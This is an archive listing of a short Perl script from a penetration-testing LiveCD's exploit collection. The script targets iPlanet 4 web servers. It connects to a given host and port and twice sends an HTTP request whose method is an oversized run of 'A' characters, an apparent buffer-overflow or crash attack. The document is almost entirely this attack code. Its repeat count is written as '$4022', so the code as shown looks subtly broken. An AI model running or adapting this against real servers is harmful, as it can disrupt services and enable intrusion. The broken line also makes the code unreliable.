home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iplanet / iplanet4-uri.pl < prev   
Perl Script  |  2005-02-12  |  556b  |  27 lines

  1. #!/usr/bin/perl
  2. use IO::Socket;
  3.   if (@ARGV < 2)  {
  4.      print "Usage: host port\n";
  5.      exit;
  6.    }
  7. $overflow = "A" x $4022;
  8. &connect;
  9. sleep(15);
  10. &connect;
  11. exit;
  12. ################################################
  13. sub connect() {
  14.   $sock= IO::Socket::INET->new(Proto=>"TCP",
  15.                  PeerAddr=>$ARGV[0],
  16.                  PeerPort=>"$ARGV[1]",)
  17.                  or die "Cant connect to $ARGV[0]: $!\n";
  18.   $sock->autoflush(1);
  19.   print $sock "$overflow /index.html HTTP/1.0\n\n";
  20.   $response=<$sock>;
  21.   print "$response";
  22.   while(<$sock>){
  23.      print "$_\n";
  24.   }
  25.   close $sock;
  26. }
  27.